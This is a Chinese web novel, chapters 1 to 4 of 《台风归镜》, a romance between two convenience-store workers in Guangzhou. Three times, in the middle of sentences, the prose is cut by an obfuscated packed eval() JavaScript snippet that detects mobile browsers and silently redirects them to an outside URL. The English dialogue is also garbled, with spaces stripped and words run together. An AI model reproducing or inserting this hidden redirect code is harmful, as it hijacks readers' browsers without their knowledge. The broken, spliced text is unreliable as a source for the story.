《台风归镜》 1. 第1章 今天注定是个看热闹的好日子。李双想。 玻璃门隔绝了燥热的日光,中央空调无声地喷吐冷气。便利店内没有客人,唯二的店员安静地埋头做事,背景音乐是当季的促销广播。 下班时间已经过去了3分钟,按照以往,李双此时应该在前往地铁站的路上,可现在她石墩子似的杵在冷柜前,揪着仅剩的两袋牛奶翻来覆去地检查。 身后人影轻晃,李双立刻丢下牛奶,将身体尽可能藏在货架后,睁大眼睛向大门看去。 门口站着一高一矮两个女孩,和李双一样都是二十左右的年纪。高个的衣着简朴,肩头包挂了个星黛露玩偶;娇小的则打扮隆重,一尘不染的亮面皮鞋在满大街人字拖中分外惹眼。 看到她们,李双激动地握拳。 最近这两个女孩来光顾的次数多到李双硬生生记住了脸。有时她们买完东西就走,有时会在休息区停留半小时。 一开始李双如临大敌,担心她俩是“雌雌大盗”,毕竟便利店嘛,偷鸡摸狗的事时有发生。可李双观察许久,别说干坏事,她们吃完的垃圾会主动收拾干净,甚至能掏出湿巾纸擦桌椅,堪称便利店模范顾客! 好感度大增的李双偷偷给她们取了外号,高个子女孩每次穿的、背的都很随便,但包上一定会挂只星黛露,而娇小的女孩钟意可可牛奶—— “露露可可”组合就此诞生! 然而仅是这样,并不能阻止李双到点下班的步伐,真正让她提起兴趣的,还得是几天前,露露主动找她谈话。 “你好,请问你们店戴眼镜的男生叫什么名字?”露露问。 “叫程理,”李双的心脏砰砰狂跳,“他多收你钱了?” “没有没有。”露露瞄了眼身后羞涩的可可,“他一般什么时候上班?” 李双瞳孔地震,接着大彻大悟。 我说你俩为何总来便利店晃悠,搞了半天是看上店员了啊!!! 李双压住嘴角,掏出手机,装模作样地端详班表,心领神会的露露以迅雷不及掩耳之势摄像,眉开眼笑的模样仿佛取得敌营布设图的斥候。 接下来的每一天,李双都在期待新乐子出现,以至于眼睛停留在工友程理身上的时间都长了许多。 躲在货架后的李双微微探出头,程理背对她弯腰搬饮料,轻薄的工服隆起小山般的脊椎,他直起身,工服又刹那间变得宽大,下摆空荡荡垂着。 “不下班么?”程理冷不丁开口。 “还有点事。”李双随口回答。 程理噢了一声,回到收银机旁。他的影子投进背后的烟柜,笼罩的面积比170公分的李双还要多。 隔着鼻梁上的黑框眼镜,他的视线汇聚在手心,未经染烫的发丝柔顺地下垂,额前的头发隐隐有些遮住眼睛。下半张脸不宽不窄,唇形流畅,整体气质温柔平和。 程理的性格也和他外表如出一辙。李双人生中只出现了两个情绪稳定的人,程理算一个。他不光对工友和气,对走进来的顾客,他永远都能笑着打招呼,以礼相待。 要知道这可是便利店,时薪堪堪17.5一小时,却要面对无数神人与小偷。李双刚上班的时候也兴致勃勃,直到有个癫公义正辞严地要求她抹零。 以上种种综合,李双完全能理解可可为什么对程理产生兴趣。李双如今的生活百无聊赖,完全不介意作为电灯泡见证一场有趣的爱情故事。 纵然立冬已过,广州的气温仍然接近30度。盛装打扮的可可明显有些受不了,露露从包里掏出电风扇和纸巾,一边对着好姐妹的脸猛吹,一边在不破坏妆容的情况下擦去汗水。 降温工作结束,露露按住可可的肩膀,神情严肃地说了什么,而受到鼓舞的可可狠点了两下头,义无反顾地推开门,一马当先地踏入,露露紧随其后。门铃叮咚,犹如战鼓! 来了来了! 大喜过望的李双闪身躲进距离程理最近的货架,军师兼后勤露露与李双不谋而合,二人默契地占据着货架的一左一右。可可在收银台前站定,三个女孩的位置正好组成了一个完美的等腰三角形。 “欢迎光临。”程理果然挂起了微笑,连弧度都和李双想象中分毫不差。 “程理,你好。”可可攥紧了手提包。 “下午好,有需要帮助的么?”程理问。 李双心里咯噔一下,心说程理怎么不好奇对方是怎么知道他名字。 可可努力放松肩膀:“请问巧克力在哪里?” “就在你身后。”程理说。 可可没有挪动步伐:“能为我推荐几款吗?” “原味的经典款买的人最多,最近店里在做活动,买两条打八五折,或者您也可以试试蓝莓味的新款,小包装的价格和正装原味一样。” 听着程理坦然的回答,李双默默捂住脸。 哪怕李双自认情商低,也听出来可可是在邀请他离开柜台一起挑巧克力,这人怎么趁机推销起来了呢! “啊……好的。”可可默默离开,拿了两条蓝莓味巧克力折返。 电子时代的支付快如闪电,巧克力与小票被推到可可面前,她赶紧说:“新口味你吃过吗?不如我们一人——” “吃过,味道很好。”程理答得极快。 偷听的李双眉头紧皱,蓝莓味早上才到货,她亲手摆进货架的,程理吃过才有鬼了…… 可可慢吞吞地将巧克力揣进包,在与露露远距离对视后,深吸了一口气,她挺起背,嗓音颤抖却坚定: “程理,我们加个微信好友吧!” “好的。”程理指向企业微信的二维码,“请扫这里。” “不!”可可直视对方的瞳孔,“我要你本人的微信。” 她A上去了!李双激动地看向可可,她面颊绯红,头高高地扬着,身躯娇小亦气势如虹! 程理幽幽伸出两根手指。 这家伙比耶干什么?不等李双细想,程理嘴唇开合,吐出一句令在场众人目瞪口呆的话—— “好友位两块钱一个。” ? 室内的气温骤降十度,广播不给面子地停了下来,四下静如坟茔,连呼吸声也消失不见。 李双僵住了,另一头的露露也满脸不可置信,不知所措的可可下意识望向军师,眼看对方也很迷茫,可可不死心地说:“加了好友我转给你。” “不接受转账。”程理语气笃定,“只收纸币现金。” …… 李双额角青筋猛跳。 可可脸上的娇羞一秒褪去,取而代之的是深深的无语和嫌弃,作为后盾的露露箭步上前。二人手挽着手,头也不回地离开了便利店,想来以后也绝无可能踏入。 关门的瞬间,李双清晰地听到混着风声的一句“什么crush,完全索嗨来的”。 程理推了推眼镜,淡然地收回目光。 “喂!”李双火冒三丈地跳出来:“问你要微信,你想给就给,不想给就不给!用纸币为难人是什么意思?你这么爱钱,怎么不去打劫啊!” 程理眨了眨眼:“你们认识?” “不认识又怎样!她天天都在你上班的时候来,我不信你没印象。” “你怎么知道她在我上班的时候来?” “别转移话题!”李双把柜台拍得邦邦响,“她打扮那么漂亮,还主动和你搭话,别告诉我你不知道她想做什么!” “知道,她想和我发展恋爱关系。” 李双被他突如其来的直白震住了一瞬:“知道你还——” “就是知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957836|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道才……算了。”程理自顾自摇头,重新挂上波澜不惊的笑脸,“我没有和你解释的必要,三点半了,你真的可以下班了。” “用不着你提醒!” 火大的李双冲进更衣室,提包就走,连工服都没换。大门被她刻意推成直角,还在玻璃正中按了个肉眼可见的掌印。 程理小小叹了口气,取出清洁工具。 他立在门口,任由出风口将头发吹得东倒西歪。程理用抹布擦去清洁喷雾,整块玻璃洁净如新,背透的景色尽收眼底,当然也包括当街脱衣服的李双。 剥下工服的李双并非赤身裸体,但如此豪放的行为依旧引来了路人的围观。她本人毫不在意,将工服卷吧卷吧塞进包,大步流星地跃进地铁站。 程理拉上门,重新将喧嚣隔至店外。 叮咚。 三周前的程理抬起头,面前出现了一名高挑的女孩,她戴着棒球帽,背着斜挎运动包,短裤下的双腿健美又笔直。 “你好,”女孩摘下棒球帽,露出素白昳丽的脸,明亮锐利的双眸毫无惧色地直视程理,眉尾上挑,像头昂扬的小狮。 “我叫李双,店长喊我今天来试工。” “你好,我叫程理。”程理取出准备好的工服,领着她走进更衣室,“手机可以随身携带,别的东西放柜子里就好。” “多谢。”李双接过工服,转身的须臾,齐腰的马尾辫刮过程理手腕,色泽乌黑,灯光下亮如绸缎。 头发保养得真好。程理想。 在店长的安排下,程理任劳任怨地当起了李双的老师,教她熟悉便利店的各项杂事。 李双气场有些生人勿近,不爱笑,更不爱闲聊。好在她学东西认真,干活也够麻利。比起以往遇到过的咋咋呼呼的新人,程理更欣赏李双这种踏实做事的类型。 四小时过去,结束试工的李双换回私服,程理顺嘴问:“怎么样?能适应么?” “不太习惯,但我以后应该能适应。”李双抿了抿嘴,“不对……我非适应不可!谢谢你教我,再见。” 李双健步如飞地走了,程理继续一个人看店。快下班时他摸鱼玩手机,便利店的工作群跳出来几条新消息,还有个黑色头像的用户加入了群聊。 店长:(笑脸)(鼓掌)欢迎新伙伴加入! S:各位好(抱拳) 店长:李双,记得备注改成真名 李双:好的 李双的黑色头像太过惹眼,程理没忍住点了进去,吃惊地发现手机界面找不到“朋友圈”选项。上网搜了才知道,这是“该账号未开通朋友圈”的意思。 程理没多想,用什么头像,开不开朋友圈都是别人的选择,他无权干涉。 第二次和李双见面,是七天后的事情,她浑身散发与老员工无异的低气压。程理确信李双已然掌握了便利店上班的精髓,足够独当一面了。 试工日后,程理与李双就再无更多交流。线上,二人只在同一个群里;线下,二人的排班只在每周三重合。 每次见到程理,李双只会简单地打个招呼,然后开始交接工作,既不抱怨辛苦,也不吐槽神人顾客,更不讨论其他工友的八卦,主打一个井水不犯河水。 所以程理不明白,边界线如此明晰的李双,今天为什么发那么大的火。 明明与她无关,不是么? 挂钟的时针缓缓移向数字九,店外依旧车水马龙,路灯与车灯交相辉映,将整条街照得如同白昼。 叮咚。 梳着脏辫的黑人男子气势汹汹地闯了进来,程理还没来得及说“欢迎光临”,对方就破口大骂: “Youdidthatonfxckingpurpose,right?” (你**故意的吧?) 2. 第2章 程理被这突如其来的指责吓了一跳。 广州是个开放包容的大城市不假,便利店常有外国顾客光临也是真,可程理对眼前这个壮得像堵墙的黑人男子没有任何印象。 秉承着英专生的素养,程理回答:“Relax,sir.Idon''trememberhavingdoneanythingwrongtoyou.” (冷静点,先生。我不记得有做过对不起你的事。) “Beingstubborn,huh?”(嘴硬是吧)黑人从裤兜里掏出一张小票以及粉色塑料盒,又不知道从哪翻出一叠皱巴巴的纸,狠狠拍进柜台。 程理捏起最上面的纸,抬头是“中川大学附属第一医院”,中间印着“B超检查影像”,底下赫然写着“孕5周”。 程理的三叉神经开始隐隐作痛,他瞟了眼粉色塑料盒,毫不意外地识别出“避孕套”三个字。 “Youaresellingfake!Iboughtitlikeafool!Nowmygirlfriendisfxckingpregnant!Youmustberesponsible!” (你们卖假货!我像个傻子一样买了!现在我的婆娘天杀的怀了孕!你们必须为此负责!)* 程理绞尽脑汁思考着应答:“Holdon,sir.Thisisa…em,greatshop.Nofakestuffhere.” (等一下先生,这里是一家……呃,好店。不卖假货的。) “Bullshit!”(你放屁)隔着柜台,黑人张牙舞爪地推搡程理,浓重的酒味熏了过来。 程理躲过他的手,趁机抢到小票,一目十行扫过去,立刻发现了不对: “Youreceiptisfrom''坤川''shop,thisplaceis''蓝霄''shop,yougotitwrong.” (你的小票来自坤川分店,这里是蓝霄分店,你搞错了) “Sowhat?”黑人一脸坦然,“Chainstore,isn''tit?” (那又怎样?连锁店,不是吗?) 程理被雷得说不出话,黑人继续输出: “Fakecondom,hospitalcostsandmentaldamagpensation,youshouldGimmeahundredgrandfopensation!” (假套,医院账单以及精神损失费,你们得给我十万元赔偿才行!) 程理扶住额头,心说要不干脆报警吧。但这个行为在他心中是下下策,一来他们并不能把喝高了的外国人怎么样,二来还有一小时下班,程理实在不想把回宿舍的时间浪费在录口供上。 男人骂骂咧咧地高声叫嚷,吓跑了准备进来购物的路人,程理明白不能再拖延,果断掏出手机: “Ok!I''mgoingtocallingmyboss.Pleasegoto…那个,seat.” (行,我这就给老板打个电话,请你……那个,坐在椅子上) 黑人瞪大眼:“Didyoujustsay''nigger''?” (你是不是说了‘黑鬼’两个字?) …… 哈哈。 程理知道今天恐怕不能按时下班了。 程理的沉默激怒了酒气上涌的男人,他一拳打在货架上,花花绿绿的避孕套天女散花似的洒了一地。 “Sayittomyfaceagain,mtfcng!Youthinkyou''rebetterthanme,huh?YouknowwhereI’mfrom?” (有本事再说一遍,你这混账东西!你认为自己比我牛*?你知道我来自哪里吗?) “Youmisunderstood,”(你误会了)程理努力不让事态继续崩溃,“Isay''那个'',inChinese,itmeans...” (我说‘那个’,中文意思是……) “Shutthefxckupman!I’mfromthewestcoast,mtfcng!YousonofBmakeabigbigmistake!” (闭嘴吧傻X!老子来自西海岸,你这不长眼的东西算是惹错人了!) 黑人一把揪住程理的衣领,想把他从柜台里拖出来。程理左手与他对抗,右手滑动手机屏幕,意识到程理打算报警,黑人反手拍飞了他的手机。 第一届便利店对抗赛正式拉开帷幕,如火如荼中,两位选手双双忽略了门铃的动静,更别提来者走路本就悄无声息。 “呔!” 程理怔住,他上一次听到这个词,还是初中文艺汇演。班里表演反串版《鲁智深拳打镇关西》,最壮硕的女同学大吼一声“呔”!接着一拳撂倒了贴满假胡子的男同学,惹得全校师生哄堂大笑。 不等程理细想,声音的主人身影一闪,钳制程理的力量骤然消散。身高九尺的醉鬼咣当塌了下去,额头重重砸进台面,如同给程理磕了个响头。 惊魂未定的程理喘着气,视线在女孩金刚怒目的脸定格:“李双?” “Letmego!”黑人挣扎着想要起身。 (放开我) 李双没理程理,继续用擒拿压制醉鬼:“这里不是美国也不是非洲,这里是中国!在中国就给我讲中文!” “Fxckyou!” (去你*的!) “Crazy,huh?”李双压在黑人后颈的指骨逐渐泛白,“Fine,Lemmetranslateforyouloser!Youthinkit''sfun,right?Tobullypeople,tryhardtofindfault…Thatreallyboostsyourself-esteem,huh?” (发癫是吧?很好,那我发发善心为你这个傻*翻译一下。你觉得很有趣是吧?欺负别人,没事找事,让你自尊心爆棚是不是!) “Shutupbi——” (闭嘴泼——) 李双的膝盖狠狠击中男人的大腿,他顿时痛得身体瘫软,放到一半的厥词也被打断。 “Donotprovokeme.”李双一字一顿地说,“I''mAKAEastCoastBruceLee.Icouldkickyousohardyou’dbestuckwithacatheterforlife!” (别激怒我。老娘是AKA东海岸李小龙,一脚能踢得你在医院挂一辈子尿袋!) 冷汗直流的黑人一改刚刚的嚣张,不标准的语调气若游丝:“对唔住……” 程理瞳孔地震,你小子原来会说中文! 李双后撤半步:“把弄到地上的东西捡起来!” 黑人小鸡啄米似的点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957837|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熊一般的身躯缩成团蹲在地上。这货笨手笨脚的,又喝了酒,看不下去的程理也出来帮忙。李双抱着手臂,居高临下地看两男干活。 大部分商品都回归原位,但有几个避孕套在刚才的对抗赛中被踩扁,塑料纸都裂开,明显不可能再卖得出去。 李双柳眉倒竖,足尖用力戳向黑人臀部:“赔钱!” 灰头土脸的黑人摸了摸屁股,不情不愿地掏出钱包:“How…多少钱?” 程理火速抄起扫码器:“270元。” 碍于李双的眼神,黑人嘟嘟囔囔地付了钱,扭头准备离开。 “等等。”李双单手扣住黑人肩膀,眼睛却看向程理,“你的手机有没有事?” 程理掸去手机表面的灰尘:“钢化膜没碎,功能正常,没有问题。” 李双松开手,对着仓皇而逃的黑人翻了个白眼。 程理整理着歪七扭八的工服,诚恳地说:“你力气好大!块头那么大的人,你居然能摁得他一动不动。” 李双冷笑:“不是我力气大,是某人只顾着敛财,忘记锻炼身体啦。” 程理抹了把汗:“你英语说得蛮好,在国外住过吗?” 李双继续阴阳怪气:“也就在美国住了六年而已,比不上某些英语专业的高材生。Greatshop?这么诡异的词组亏他说得出口。” 程理既想问“你怎么知道我的专业”,又想辩解“我比较擅长笔试”。纠结半天,他老老实实地说:“谢谢你帮我解围。” 李双撩开头发,露出脖颈中央闪着银光的缇芙妮项链:“不客气。” “不过……你为什么这个点会出现在店里?” “为了你啊。”李双哼了一声。 “我?” 李双打开微信聊天界面:“我这周五晚上有事要请假,店长让我联系你换班。可我不想花钱买你的好友位,只能来店里找你咯。” “我没那个意思……”程理挠了挠头,“行吧,我有空,同意和你换班。” “算你识相。”李双走出去两步,又折返,“喂,我一早就在门口了。鬼佬靠近你的时候,你的手握成了拳,他对你动手的时候,你反而松开了,为什么?” 程理思索片刻,认真地回答:“现在是法治社会,互殴会拘留,况且他是外国人,搞不好会引发国际舆论。” 出风口的气流吹拂李双头顶,她的脸被碎发遮住大半,眸色也在阴影中晦暗不明。 “因为惧怕代价,所以即使被羞辱,你也会忍着么?” 不存在的电流触过手背,程理下意识反问:“什么?” “真没用!” 甩下这句话,李双大步汇入夜色。 呆站了几分钟,望着满地的黑脚印,程理认命地寻找起拖把。 ————————— 程理将电瓶车停好,掏出手机看了眼,核实今天真的是周三,现在也确实接近下午三点。 黑人事件已经过去了一周,程理却历历在目。李双又是骂他,又是救他,最后还问了那样奇怪的问题。一想到今天要和她打照面,程理就有些尴尬,但打工人就是打工人,他只能硬着头皮闷头推开门。 “来啦?”店长大姐看到程理,露出亲切的笑容。 “店长下午好。”程理环顾四周,“今天不是周三么?怎么不是李双上中班?” “你不知道吗?”店长一脸诧异,“她上周就辞职了呀。” 程理打开工作群,黑色头像的账号果然已经消失。 3. 第3章 夜色如墨,窄街两侧的店铺全都打了烊,昏暗的路灯被淅淅小雨分割成千万片。电瓶车穿过空无一人的水泥路,溅起的泥水打湿了程理的裤腿。 身为一个近视眼,程理不喜欢下雨,沾有雨珠的镜片会模糊视野,降低他识人认路的能力。更别提,他现在正处于一条完全陌生的道路。 绿植在风中沙沙作响,刺得程理耳膜生疼。 他觉得自己一定是鬼迷心窍了。好不容易因为台风早下班一次,他竟被二次元班长用十块贿赂,下雨天不回宿舍,而是替她闲鱼面交。 拿到名为“谷子”的东西,程理将油门拧到底,全速往回赶,只要穿过芒果路,学校大门近在咫尺。 芒果路四周毫无疑问种满了芒果树,繁密的枝叶隔绝了大半雨水,四下几乎不见行人,道路中央红灯高悬。趁着等待的间隙,程理停车穿雨披,顺便清理镜片。 一切整备完毕,六岁就会骑电瓶车的程理本能地环顾四周,却在树荫下瞥见一个意想不到的人。 女孩抱着膝盖,坐在蓝色的行李箱上。她穿得单薄,腕表不见踪影,没有打伞,低温将她的皮肤冻得惨白,雨水顺着她的长发蜿蜒而下,像是流淌在雪地里的溪流。 李双? 程理眯起眼再度确认。对方漂亮的眼珠蒙着一层灰,泛白的嘴唇紧紧地抿着。任凭雨水如何冲刷,她的身躯始终不动如山。水珠在她下巴汇聚又滑落,她凝视着地面的雨坑,脸上没有任何表情。 还真的是她。程理挑眉。 或许是察觉到旁人的视线,李双突然转动脖子,在与程理视线相接时,睫毛明显地一颤。可下一秒,她就冷漠地别开了脸,俨然是“别来烦老娘”的意思。 雨声渐响,红灯进入倒计时,本就和她不熟的程理决定装作没看见。 他拢了拢雨披,正打算收回目光,巴掌大的芒果就从树上落下,啪叽砸在李双头顶,又咕噜噜滚到程理脚边。 “噗。” 笑出声的程理赶紧捂住嘴,可惜李双显然听了个一清二楚。她捂住头,冷傲的面具完全裂开,震惊、崩溃、气急败坏肆无忌惮地漏了出来。 “丢!”李双从行李箱上弹起来,中气十足地骂起街,先是骂该死的芒果不长眼睛,胆敢砸她头;接着骂天杀的台风把她的生活搅得乱七八糟;最后她红着眼睛,朝围观的程理恶狠狠地竖中指: “看什么看!再看把你眼珠子扣下来!” 这一瞬间,程理居然觉得她有点可爱。 诡异的欣赏转瞬即逝,程理主动开口:“抱歉,不是故意盯着你看的。你知道台风马上来了吧?怎么不回家?” “我家不在广州,”李双收回中指,眼神依旧不善,“我只是来这上大学。” “那怎么不回宿舍?” 李双一屁股坐回行李箱,没有回答。 “淋雨会感冒的,我这里有多余的伞,可以借——” “少管我的事!”李双凶狠地打断。 咕—— 突如其来的肠鸣让李双刚毅不屈的言行整段垮掉,她的眉毛打起结,苍白的脸也因羞耻浮出血色。 信号灯变绿,程理却下了车,他从储物箱里取出伞和面包,走到李双面前。 “给你,”程理想了想补充:“不要钱。” 李双再次别开脸:“我可不敢占你便宜。” “这是便利店的羊毛,过期的食物店长允许大家带走,你以前没薅过么?” 李双沉默片刻,接下面包,拌着雨水啃了起来。 程理在李双面前半蹲,为湿漉漉的她撑起一把伞。连续不断的水珠沿着伞面滑下,砸在程理头盔,又沿着边缘渗进他的衣领。 李双看了他一眼,低头继续咀嚼面包。 面对面的二人默契地沉默着,连呼吸都同时藏进了雨里。偶有汽车驶过,车灯照亮李双侧脸,光点在她眼中摇曳,又很快消失不见。 打量着垂头丧气的李双,程理回忆起之前对她的印象: 李双的电子产品都是iPhone旗下新款,偶尔会戴缇芙妮的项链。衣服很有品质,哪怕再热,李双也不穿拖鞋,只穿运动鞋,还都是知名运动品牌的真货。 李双似乎有个恋人。程理没有亲眼见过,是听别的工友转述的。据说是个蓝眼睛的外国人,高大帅气,还染着一头拉风的红发。他偶尔会在李双下班时出现,给她带奶茶,为她提包,走路还会亲昵地勾她脖子。 家庭富足,爱情美满,无论程理怎么思考,都只能得出李双是“人生赢家”这一个结论。 那她又怎么会像丧家之犬一样,蹲在路边可怜兮兮地淋雨呢? 注视李双咽下最后一口面包,程理小心地开口:“李双,你遇到什么事了吗?” 李双揉着包装纸,没有说话。 “好歹大家曾经一起打过工,能帮上忙的地方,我会尽可能帮助你的。” 李双还是不说话。 刺骨的风扬起程理心中的火,他直起身:“想必也是,毕竟警察局离这也就200米。” 将雨伞强行塞进李双手心,程理转身就走。刚要迈步,就感觉有东西在扯他,扭过头,李双已经站了起来,手指捏着塑料雨披的一角。 “程、程理。”不知是因为低温还是紧张,李双的牙齿在打战,说话也结结巴巴的。 “能不能……帮我一个忙?” ————————— 头顶是横七竖八的电线,暴雨被握手楼无情地屏蔽在外。电瓶车足足拐了十八个弯,终于在一栋破烂的三层小楼前停下。 程理抬起头,“魂牵梦绕”酒店的霓虹灯牌将他迷茫的脸染成了喜感的桃粉色。 “不要告诉我……这就是你要找的酒店?” “嗯。”李双从后座跃下,拖着行李箱走了进去,摘下头盔的程理紧随其后。 “魂牵梦绕”酒店的大厅布设陈旧,面积狭窄,去掉接待台和楼梯,可供通行的道路仅一米宽。要是迎面遇上来人,双方都必须侧过身体,否则谁也别想过去。 接待大哥将手机斗地主托管,接过李双递过来的证件:“港澳居民居住证?小姑娘是香港人?” 程理意外地看了李双一眼,心说竟有香港人来内地上大学? 李双十指交叉,像在祈祷:“香港人不能住吗?” “能住,当然能住。”前台朝程理扬了扬下巴,“他呢?” “他不住,你登记我就行。” 前台喔了一声,没过多久,他将证件还给李双:“提醒一下,房间不分男女。” “啊?”程理大惊。 “我知道的。”李双抓住行李箱,对程理说:“谢谢你帮我导航,要多少报酬?” 程理满脸黑线:“我帮你不是为了报酬。” “那好吧,”李双揪着湿哒哒的衣摆,“再一次谢谢你,再见。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957838|193211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “等等!”程理把头盔和雨披挂在前台,箭步跟上她,“我帮你把行李拎上去。” “不用,我有力气——” “别跟我客气!”程理抢过行李箱,三步并作两步冲上台阶,臭味迎面而来,熏得他差点跌下楼。 “怎么停住了?我住右侧最里面那间。” 程理不可置信地反问:“你没闻到么?” “没有。”李双表情平静。 顶着昏暗的光,二人一前一后步入走廊。地上随处可见烟头,通风系统形同虚设,空气燥热而混浊。眼镜起雾本就让程理不快,空间的逼仄更是令他烦躁。 在目的地门口站定,李双做了个深呼吸,用力推开门。 如同误入了蝙蝠洞,眼前的一幕令程理头皮发麻。房内八人竟然全都是男性!他们或站或坐,但视线无一例外聚焦在门口,准确地说,是聚焦于门口的女孩。李双头发还在往下滴水,皱巴巴的湿衣服贴在身上,透出一抹浅浅的粉色。 程理凑到李双耳边,小声说:“你真要住这里?不觉得危险么?” 李双从他手中抢回行李箱:“我只消费得起25一晚的酒店,安全不在考虑范围内。程理,谢谢你陪我到现在,再见了。” 程理避雷针似的杵在门口,目送本该是“人生赢家”的女孩走进蝙蝠洞。 随便找了张空床铺,李双将共同经历风雨的行李箱放倒。箱内的衣物摆放杂乱,不知是因为它们的主人本性洒脱,还是遇到了需要仓皇离开的麻烦。 李双背对程理蹲下,俯身在行李深处翻找,也是这个瞬间,她的长发滑落,雪白的后颈露出一块刺眼的乌青。 不存在的闪电将程理从头劈到脚,一个合情合理的猜测从他心底升腾,它既能解释富家女李双为什么囊中羞涩,也能解释她为什么雨夜流落街头。 可说到底,这一切与程理有什么关系? 李双与他只是萍水相逢,她帮忙制服醉鬼,程理给她食物,送她去了想去的地方。于情于理,程理都仁至义尽,不欠她什么。 程理非常清楚自身的情况,他不具备乐于助人的条件,更没有能将人带出泥潭的力量,更别提李双本人压根没说过需要帮忙,何必自作多情? 与其在这咸吃萝卜淡操心,不如立刻回宿舍。晚上能做的事还有许多,程理已经为李双耽误了太多时间,不该继续停留在原地,关心一个他本不该关心的人,纠结一件他本不该在乎的事。 明白的,程理都明白的。 但……芒果呢? 那颗芒果该怎么解释? 拜托!今天是11月22号,收获季早就过了,为什么会莫名其妙掉下来一颗芒果?还那么巧,就砸在李双头顶? 程理的直觉一向很准,而此刻,这份与生俱来的天赋再次冲击他的灵魂。他有种诡异又奇妙的感觉:李双的存在可能是他人生中可遇不可求的彩蛋,也可能是避之不及的麻烦,亦或两者皆有。无论属于哪边,程理可以肯定:只要他走进去,这位和芒果一样从天而降的奇女子,绝对会将他以往的生活掀得天翻地覆。 想到这里,程理忽然笑了起来,搞不清是出自无奈还是兴奋。 就当我疯了吧。程理想。 面前的门缓缓闭合,归位的前一秒,程理伸出手掌抵住。 “借过。”程理踏入蝙蝠洞,跨过路障般的杂物,不带迟疑地握住李双手腕。 “李双,跟我来。” 4. 第4章 “在门口等我。”程理开启手机摄像,在漆黑的房间转了一圈,接着打开灯。 李双面前出现了一间民房,面积很小。没有客厅,抬头就能看见卧室与卫生间。整体装修简朴,陈设简单,床铺花色是饱和度极高的艳粉,被子上印着大片红牡丹。 “没有摄像头,可以进来了。”程理冲她招招手,“桌上还有橘子?我来微信问问房东能不能吃。” 李双局促地站着:“你花了多少钱?” “这间房?不贵,45。” “确实不贵,但我现在拿不出钱给你。” “不用还,就当你之前帮我解决醉鬼的报酬。” 回想起魂牵梦绕的烟熏火燎,李双决定放下没必要的矜持,拖着行李箱走进了房。 程理从卫生间出来:“你今天淋了多久雨?得好好洗个热水澡,把寒气逼出来。” 李双轻轻笑起来:“我爸也总这么说,我一直很好奇,世上真的有‘寒气’这种东西吗?” 程理也笑了:“中医可是广府文化的精髓,作为香港人,你居然不信这个?” “我……解释起来很复杂。”李双敛去笑容。 “你的手机呢?还有手表,之前打工的时候不还在么?” 李双瞄了眼行李箱:“我的伞坏了,我怕手表进水,就放箱子里了,手机也是。” 感应到程理疑惑的视线,李双不好意思地取出手机充电:“我的手机没电了,当然,也没有钱……” “你从香港跑过来上大学,难道没有生活费?” 李双抓耳挠腮了一阵,最后落寞地长叹一口气:“这点解释起来也很复杂……” “你读哪所学校,明天有课么?” “体校,明天下午有课。” 程理恍然大悟:“怪不得你力气那么大!走路没声音,还能一次扛4箱15公斤重的饮料。” 李双后撤半步:“你一直在观察我吗?” “抱歉,观察人是我的被动技能,我控制不了。”程理心虚地咳嗽了两声,“体校在坤川区吧?离这有段距离,你明天怎么去学校,有钱吃饭么?” “我的饭卡和地铁卡都还有余额。”李双摸了摸鼻子,“对、对了!别一直说我,你是哪个学校的?” 得到房东许可的程理开始剥橘子:“你不是打听到我是英专生么?我以为你知道我在哪个学校。” “没有打听,是‘大嘴肖’非要说,那我就听着咯。” “‘大嘴肖’?噢!你说那个正式工?”程理忍俊不禁地点头:“他‘嘴’确实挺大。” “嗯,他说你是店里学历最高的,还说他年轻那会要是有你的条件,肯定也能上985。” “我的条件啊……”程理瘪了瘪嘴,“不过语商不是985。” “那就是211?” 程理眼神突然变得很复杂:“语商不是985,也不是211,语商就是语商。” 李双识相地奉承:“不明白,但好像很厉害。” 程理看了眼时间,放下橘子:“很晚了,我该回宿舍了。桌上的橘子是房东的见面礼,你可以全吃掉,不必客气。” “等等!”李双打开手机,“加个微信再走!” 程理笑着出示二维码:“不担心我问你要钱?” 李双大气地摆手:“没有的东西,要了也白要。” 确定加上了好友,李双为他让出通道:“虽然这两个字你今晚多半已经听腻了,但我还是要说,谢谢。路上小心。” “客气。”程理走到门口,猝不及防转过身,握着拳头对李双说: “新生活一开始总是很艰难的,加油!” ? 迷茫的李双趴在窗台,目送披着红雨披的男孩消失在雨里,扶着下巴喃喃自语: “总觉得他好像误会了什么啊……” 程理紧赶慢赶回到宿舍,踩着热水供应的尾巴洗完澡。躺回上铺时,他终于有机会看手机。 S:(窗台雨水.jpg) S:外面风越来越大了,你到宿舍了么? AAA语商通天代:多谢关心,已经到了 S:没关心你(已撤回) S:你的微信名好怪(已撤回) S:好的 